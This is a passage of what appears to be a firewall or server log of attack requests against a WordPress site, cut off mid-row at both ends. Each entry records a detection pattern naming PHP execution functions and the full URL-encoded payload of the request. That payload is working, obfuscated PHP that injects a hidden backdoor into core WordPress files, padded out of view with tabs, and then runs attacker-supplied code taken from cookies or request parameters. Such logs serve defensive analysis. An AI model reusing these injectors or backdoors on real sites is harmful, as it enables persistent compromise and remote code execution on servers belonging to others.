r_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:4329\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nRl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:09","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:4567\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMSRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ndQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:12","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:4567\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nlu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:14","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%2529%2529%257B%2520%2524item%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2524_REQUEST%255B%2522t%255Cx6F%255Cx6Ben%2522%255D%253B%2520%2524descriptor%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524descriptor%2520%2529%253B%2520%2524marker%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%253C%2520count%2528%2524descriptor%2529%2529%2520%257B%2520%2524v7%2520%253D%2520%2524descriptor%255B%2524o%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524o%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524chS%2520-%2528%2524o%2520%2525%252010%2529%2529%2520%255E%25205%253B%2520%2524marker%2520.%253D%2520chr%2528%2524d%2520%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520while%2520%2528%2524comp%2520%253D%2520array_shift%2528%2524item%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524comp%2529%2520%253F%2520is_writable%2528%2524comp%2529%2520%253A%2520false%2529%2520%257B%2520%2524reference%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524comp%252C%2520%2522%257Bvar_dir%257D\/.k%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524marker%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strle